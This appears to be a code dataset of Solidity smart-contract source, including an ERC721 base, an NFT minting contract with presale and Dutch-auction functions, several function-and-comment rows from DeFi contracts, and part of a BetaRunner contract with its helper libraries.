view
virtual
override
returns (uint256)
{
require(
owner != address(0),
"ERC721: balance query for the zero address"
);
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId)
public
view
virtual
override
returns (address)
{
address owner = _owners[tokenId];
require(
owner != address(0),
"ERC721: owner query for nonexistent token"
);
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
require(
_exists(tokenId),
"ERC721Metadata: URI query for nonexistent token"
);
string memory baseURI = _baseURI();
return
bytes(baseURI).length > 0
? string(abi.encodePacked(baseURI, tokenId.toString()))
: "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId)
public
view
virtual
override
returns (address)
{
require(
_exists(tokenId),
"ERC721: approved query for nonexistent token"
);
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved)
public
virtual
override
{
_setApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator)
public
view
virtual
override
returns (bool)
{
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(
_isApprovedOrOwner(_msgSender(), tokenId),
"ERC721: transfer caller is not owner nor approved"
);
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(
_isApprovedOrOwner(_msgSender(), tokenId),
"ERC721: transfer caller is not owner nor approved"
);
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(
_checkOnERC721Received(from, to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId)
internal
view
virtual
returns (bool)
{
require(
_exists(tokenId),
"ERC721: operator query for nonexistent token"
);
address owner = ERC721.ownerOf(tokenId);
return (spender == owner ||
getApproved(tokenId) == spender ||
isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(
ERC721.ownerOf(tokenId) == from,
"ERC721: transfer of token that is not own"
);
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Approve `operator` to operate on all of `owner` tokens
*
* Emits a {ApprovalForAll} event.
*/
function _setApprovalForAll(
address owner,
address operator,
bool approved
) internal virtual {
require(owner != operator, "ERC721: approve to caller");
_operatorApprovals[owner][operator] = approved;
emit ApprovalForAll(owner, operator, approved);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try
IERC721Receiver(to).onERC721Received(
_msgSender(),
from,
tokenId,
_data
)
returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert(
"ERC721: transfer to non ERC721Receiver implementer"
);
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
// File: CryptoBearWatchClub.sol
pragma solidity 0.8.11;
contract CryptoBearWatchClub is ERC721, Ownable, ReentrancyGuard {
using MerkleProof for bytes32[];
enum SALE_STATUS {
OFF,
PRIVATE_SALE,
PRESALE,
AUCTION
}
SALE_STATUS public saleStatus;
string baseTokenURI;
// To store total number of CBWC NFTs minted
uint256 private mintCount;
uint256 public constant MAX_CBWC = 10000;
uint256 public constant PRESALE_PRICE = 500000000000000000; // 0.5 Ether
// Dutch auction related
uint256 public auctionStartAt; // Auction timer for public mint
uint256 public constant PRICE_DEDUCTION_PERCENTAGE = 100000000000000000; // 0.1 Ether
uint256 public constant STARTING_PRICE = 2000000000000000000; // 2 Ether
bytes32 public merkleRoot;
// To store CBWC address has minted in presale
mapping(address => uint256) public preSaleMintCount;
// To store how many NFTs address can mint in private sale
mapping(address => uint256) public privateSaleMintCount;
// To store last mint block of an address, it will prevent smart contracts to mint more than 20 in one go
mapping(address => uint256) public lastMintBlock;
event Minted(uint256 totalMinted);
constructor(string memory baseURI)
ERC721("Crypto Bear Watch Club", "CBWC")
{
setBaseURI(baseURI);
}
modifier onlyIfNotSoldOut(uint256 _count) {
require(
totalSupply() + _count <= MAX_CBWC,
"Transaction will exceed maximum supply of CBWC"
);
_;
}
// Admin only functions
// To update sale status
function setSaleStatus(SALE_STATUS _status) external onlyOwner {
saleStatus = _status;
}
function withdrawAll() external onlyOwner {
uint256 balance = address(this).balance;
require(balance > 0, "No funds");
sendValue(
0x1cE20812b08c2fcD5d595cf0667072B989666E98,
(balance * 34) / 100
);
sendValue(
0x9A69c32148FA4D0a1b0C3566e0bF35FE51430C4d,
(balance * 33) / 100
);
sendValue(
0xc6D37EfCCb2e07D94037704BB1508d816915E286,
(balance * 33) / 100
);
}
function setMerkleRoot(bytes32 _merkleRoot) external onlyOwner {
merkleRoot = _merkleRoot;
}
// Set auction timer
function startAuction() external onlyOwner {
require(
saleStatus == SALE_STATUS.AUCTION,
"Sale status is not set to auction"
);
auctionStartAt = block.timestamp;
}
// Set some Crypto Bears aside
function reserveBears(uint256 _count)
external
onlyOwner
onlyIfNotSoldOut(_count)
{
uint256 supply = totalSupply();
mintCount += _count;
for (uint256 i = 0; i < _count; i++) {
_mint(++supply);
}
}
function setBaseURI(string memory baseURI) public onlyOwner {
baseTokenURI = baseURI;
}
// To whitelist users to mint during private sale
function privateSaleWhiteList(
address[] calldata _whitelistAddresses,
uint256[] calldata _allowedCount
) external onlyOwner {
require(
_whitelistAddresses.length == _allowedCount.length,
"Input length mismatch"
);
for (uint256 i = 0; i < _whitelistAddresses.length; i++) {
require(_allowedCount[i] > 0, "Invalid allowance amount");
require(_whitelistAddresses[i] != address(0), "Zero Address");
privateSaleMintCount[_whitelistAddresses[i]] = _allowedCount[i];
}
}
// Getter functions
// Returns current price of dutch auction
function dutchAuction() public view returns (uint256 price) {
if (auctionStartAt == 0) {
return STARTING_PRICE;
} else {
uint256 timeElapsed = block.timestamp - auctionStartAt;
uint256 timeElapsedMultiplier = timeElapsed / 300;
uint256 priceDeduction = PRICE_DEDUCTION_PERCENTAGE *
timeElapsedMultiplier;
// If deduction price is more than 1.5 ether than return 0.5 ether as floor price is 0.5 ether
price = 1500000000000000000 >= priceDeduction
? (STARTING_PRICE - priceDeduction)
: 500000000000000000;
}
}
// Returns circulating supply of CBWC
function totalSupply() public view returns (uint256) {
return mintCount;
}
function _baseURI() internal view virtual override returns (string memory) {
return baseTokenURI;
}
//Mint functions
function privateSaleMint(uint256 _count) external onlyIfNotSoldOut(_count) {
require(
privateSaleMintCount[msg.sender] > 0,
"Address not eligible for private sale mint"
);
require(_count > 0, "Zero mint count");
require(
_count <= privateSaleMintCount[msg.sender],
"Transaction will exceed maximum NFTs allowed to mint in private sale"
);
require(
saleStatus == SALE_STATUS.PRIVATE_SALE,
"Private sale is not started"
);
uint256 supply = totalSupply();
mintCount += _count;
privateSaleMintCount[msg.sender] -= _count;
for (uint256 i = 0; i < _count; i++) {
_mint(++supply);
}
}
/**
* @dev '_allowedCount' represents number of NFTs caller is allowed to mint in presale, and,
* '_count' indiciates number of NFTs caller wants to mint in the transaction
*/
function presaleMint(
bytes32[] calldata _proof,
uint256 _allowedCount,
uint256 _count
) external payable onlyIfNotSoldOut(_count) {
require(
merkleRoot != 0,
"No address is eligible for presale minting yet"
);
require(
saleStatus == SALE_STATUS.PRESALE,
"Presale sale is not started"
);
require(
MerkleProof.verify(
_proof,
merkleRoot,
keccak256(abi.encodePacked(msg.sender, _allowedCount))
),
"Address not eligible for presale mint"
);
require(_count > 0 && _count <= _allowedCount, "Invalid mint count");
require(
_allowedCount >= preSaleMintCount[msg.sender] + _count,
"Transaction will exceed maximum NFTs allowed to mint in presale"
);
require(
msg.value >= PRESALE_PRICE * _count,
"Incorrect ether sent with this transaction"
);
uint256 supply = totalSupply();
mintCount += _count;
preSaleMintCount[msg.sender] += _count;
for (uint256 i = 0; i < _count; i++) {
_mint(++supply);
}
}
// Auction mint
function auctionMint(uint256 _count)
external
payable
nonReentrant
onlyIfNotSoldOut(_count)
{
require(
saleStatus == SALE_STATUS.AUCTION,
"Auction mint is not started"
);
require(
_count > 0 && _count < 21,
"Minimum 0 & Maximum 20 CBWC can be minted per transaction"
);
require(
lastMintBlock[msg.sender] != block.number,
"Can only mint max 20 CBWC per block"
);
uint256 amountRequired = dutchAuction() * _count;
require(
msg.value >= amountRequired,
"Incorrect ether sent with this transaction"
);
//to refund unused eth
uint256 excess = msg.value - amountRequired;
uint256 supply = totalSupply();
mintCount += _count;
lastMintBlock[msg.sender] = block.number;
for (uint256 i = 0; i < _count; i++) {
_mint(++supply);
}
//refunding excess eth to minter
if (excess > 0) {
sendValue(msg.sender, excess);
}
}
function _mint(uint256 tokenId) private {
_safeMint(msg.sender, tokenId);
emit Minted(tokenId);
}
/**
* @dev Called whenever eth is being transferred from the contract to the recipient.
*
* Called when owner wants to withdraw funds, and
* to refund excess ether to the minter.
*/
function sendValue(address recipient, uint256 amount) private {
require(address(this).balance >= amount, "Insufficient Eth balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = payable(recipient).call{value: amount}("");
require(success, "Unable to send value, recipient may have reverted");
}
}
|
To whitelist users to mint during private sale
|
function privateSaleWhiteList(
address[] calldata _whitelistAddresses,
uint256[] calldata _allowedCount
) external onlyOwner {
require(
_whitelistAddresses.length == _allowedCount.length,
"Input length mismatch"
);
for (uint256 i = 0; i < _whitelistAddresses.length; i++) {
require(_allowedCount[i] > 0, "Invalid allowance amount");
require(_whitelistAddresses[i] != address(0), "Zero Address");
privateSaleMintCount[_whitelistAddresses[i]] = _allowedCount[i];
}
}
| 15,118,135 |
./partial_match/3/0xCDDd3bfFCa16Bf8A891718ADB6A9c051871B674C/sources/SECICO.sol
|
Ends an existing ICO there must an ICO already running, Send the corresponding token to contract _allocToken Number of tokens 10 18/
|
function endICO(uint256 _allocToken) onlyOwner external returns (bool){
require(state==1,"ICO is ENDED:ACTIVE First");
PhaseInfo storage phase = phaseInfo[phaseNow];
phase.allocToken = _allocToken;
phase.tokenPerWEI = phase.allocToken.div(phase.totalDeposit);
state = 2;
lastPhase = phaseNow;
emit ICOEnded(_allocToken,phase.tokenPerWEI,lastPhase);
return true;
}
| 5,098,202 |
./partial_match/1/0x8439B6A1b363B596a55a9785AbaaF97233104E78/sources/contracts/Pool.sol
|
return the lp fee without governance fee fetch governmentFeeUnits unchecked due to governmentFeeUnits <= 20000
|
function _deductGovermentFee(uint256 rMintQty) internal returns (uint256) {
(address feeTo, uint24 governmentFeeUnits) = factory.feeConfiguration();
if (governmentFeeUnits == 0) {
return rMintQty;
}
unchecked {
uint256 rGovtQty = (rMintQty * governmentFeeUnits) / C.FEE_UNITS;
if (rGovtQty != 0) {
_mint(feeTo, rGovtQty);
}
return rMintQty - rGovtQty;
}
}
| 2,696,602 |
./full_match/1/0xC383AAc4B3dC18D9ce08AB7F63B4632716F1e626/sources/src/contracts/AToken.sol
|
@inheritdoc IAToken
|
function rescueTokens(address token, address to, uint256 amount) external override onlyPoolAdmin {
require(token != _underlyingAsset, Errors.UNDERLYING_CANNOT_BE_RESCUED);
IERC20(token).safeTransfer(to, amount);
}
| 3,095,126 |
/**
*Submitted for verification at Etherscan.io on 2021-08-24
*/
// SPDX-License-Identifier: BUSL-1.1
pragma solidity 0.8.6;
// Part: BetaRunnerWithCallback
contract BetaRunnerWithCallback {
address private constant NO_CALLER = address(42); // nonzero so we don't repeatedly clear storage
address private caller = NO_CALLER;
modifier withCallback() {
require(caller == NO_CALLER);
caller = msg.sender;
_;
caller = NO_CALLER;
}
modifier isCallback() {
require(caller == tx.origin);
_;
}
}
// Part: BytesLib
library BytesLib {
function slice(
bytes memory _bytes,
uint _start,
uint _length
) internal pure returns (bytes memory) {
require(_length + 31 >= _length, 'slice_overflow');
require(_start + _length >= _start, 'slice_overflow');
require(_bytes.length >= _start + _length, 'slice_outOfBounds');
bytes memory tempBytes;
assembly {
switch iszero(_length)
case 0 {
// Get a location of some free memory and store it in tempBytes as
// Solidity does for memory variables.
tempBytes := mload(0x40)
// The first word of the slice result is potentially a partial
// word read from the original array. To read it, we calculate
// the length of that partial word and start copying that many
// bytes into the array. The first word we copy will start with
// data we don't care about, but the last `lengthmod` bytes will
// land at the beginning of the contents of the new array. When
// we're done copying, we overwrite the full first word with
// the actual length of the slice.
let lengthmod := and(_length, 31)
// The multiplication in the next line is necessary
// because when slicing multiples of 32 bytes (lengthmod == 0)
// the following copy loop was copying the origin's length
// and then ending prematurely not copying everything it should.
let mc := add(add(tempBytes, lengthmod), mul(0x20, iszero(lengthmod)))
let end := add(mc, _length)
for {
// The multiplication in the next line has the same exact purpose
// as the one above.
let cc := add(add(add(_bytes, lengthmod), mul(0x20, iszero(lengthmod))), _start)
} lt(mc, end) {
mc := add(mc, 0x20)
cc := add(cc, 0x20)
} {
mstore(mc, mload(cc))
}
mstore(tempBytes, _length)
//update free-memory pointer
//allocating the array padded to 32 bytes like the compiler does now
mstore(0x40, and(add(mc, 31), not(31)))
}
//if we want a zero-length slice let's just return a zero-length array
default {
tempBytes := mload(0x40)
//zero out the 32 bytes slice we are about to return
//we need to do it because Solidity does not garbage collect
mstore(tempBytes, 0)
mstore(0x40, add(tempBytes, 0x20))
}
}
return tempBytes;
}
function toAddress(bytes memory _bytes, uint _start) internal pure returns (address) {
require(_start + 20 >= _start, 'toAddress_overflow');
require(_bytes.length >= _start + 20, 'toAddress_outOfBounds');
address tempAddress;
assembly {
tempAddress := div(mload(add(add(_bytes, 0x20), _start)), 0x1000000000000000000000000)
}
return tempAddress;
}
function toUint24(bytes memory _bytes, uint _start) internal pure returns (uint24) {
require(_start + 3 >= _start, 'toUint24_overflow');
require(_bytes.length >= _start + 3, 'toUint24_outOfBounds');
uint24 tempUint;
assembly {
tempUint := mload(add(add(_bytes, 0x3), _start))
}
return tempUint;
}
}
// Part: IBetaBank
interface IBetaBank {
/// @dev Returns the address of BToken of the given underlying token, or 0 if not exists.
function bTokens(address _underlying) external view returns (address);
/// @dev Returns the address of the underlying of the given BToken, or 0 if not exists.
function underlyings(address _bToken) external view returns (address);
/// @dev Returns the address of the oracle contract.
function oracle() external view returns (address);
/// @dev Returns the address of the config contract.
function config() external view returns (address);
/// @dev Returns the interest rate model smart contract.
function interestModel() external view returns (address);
/// @dev Returns the position's collateral token and AmToken.
function getPositionTokens(address _owner, uint _pid)
external
view
returns (address _collateral, address _bToken);
/// @dev Returns the debt of the given position. Can't be view as it needs to call accrue.
function fetchPositionDebt(address _owner, uint _pid) external returns (uint);
/// @dev Returns the LTV of the given position. Can't be view as it needs to call accrue.
function fetchPositionLTV(address _owner, uint _pid) external returns (uint);
/// @dev Opens a new position in the Beta smart contract.
function open(
address _owner,
address _underlying,
address _collateral
) external returns (uint pid);
/// @dev Borrows tokens on the given position.
function borrow(
address _owner,
uint _pid,
uint _amount
) external;
/// @dev Repays tokens on the given position.
function repay(
address _owner,
uint _pid,
uint _amount
) external;
/// @dev Puts more collateral to the given position.
function put(
address _owner,
uint _pid,
uint _amount
) external;
/// @dev Takes some collateral out of the position.
function take(
address _owner,
uint _pid,
uint _amount
) external;
/// @dev Liquidates the given position.
function liquidate(
address _owner,
uint _pid,
uint _amount
) external;
}
// Part: IUniswapV3Pool
interface IUniswapV3Pool {
function mint(
address recipient,
int24 tickLower,
int24 tickUpper,
uint128 amount,
bytes calldata data
) external returns (uint amount0, uint amount1);
function swap(
address recipient,
bool zeroForOne,
int amountSpecified,
uint160 sqrtPriceLimitX96,
bytes calldata data
) external returns (int amount0, int amount1);
function initialize(uint160 sqrtPriceX96) external;
}
// Part: IUniswapV3SwapCallback
interface IUniswapV3SwapCallback {
function uniswapV3SwapCallback(
int amount0Delta,
int amount1Delta,
bytes calldata data
) external;
}
// Part: IWETH
interface IWETH {
function deposit() external payable;
function withdraw(uint wad) external;
function approve(address guy, uint wad) external returns (bool);
}
// Part: OpenZeppelin/[email protected]/Address
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) private pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// Part: OpenZeppelin/[email protected]/Context
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// Part: OpenZeppelin/[email protected]/IERC20
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// Part: OpenZeppelin/[email protected]/Math
/**
* @dev Standard math utilities missing in the Solidity language.
*/
library Math {
/**
* @dev Returns the largest of two numbers.
*/
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
/**
* @dev Returns the smallest of two numbers.
*/
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
/**
* @dev Returns the average of two numbers. The result is rounded towards
* zero.
*/
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute.
return (a / 2) + (b / 2) + (((a % 2) + (b % 2)) / 2);
}
/**
* @dev Returns the ceiling of the division of two numbers.
*
* This differs from standard division with `/` in that it rounds up instead
* of rounding down.
*/
function ceilDiv(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b - 1) / b can overflow on addition, so we distribute.
return a / b + (a % b == 0 ? 0 : 1);
}
}
// Part: SafeCast
/// @title Safe casting methods
/// @notice Contains methods for safely casting between types
library SafeCast {
/// @notice Cast a uint256 to a uint160, revert on overflow
/// @param y The uint256 to be downcasted
/// @return z The downcasted integer, now type uint160
function toUint160(uint y) internal pure returns (uint160 z) {
require((z = uint160(y)) == y);
}
/// @notice Cast a int256 to a int128, revert on overflow or underflow
/// @param y The int256 to be downcasted
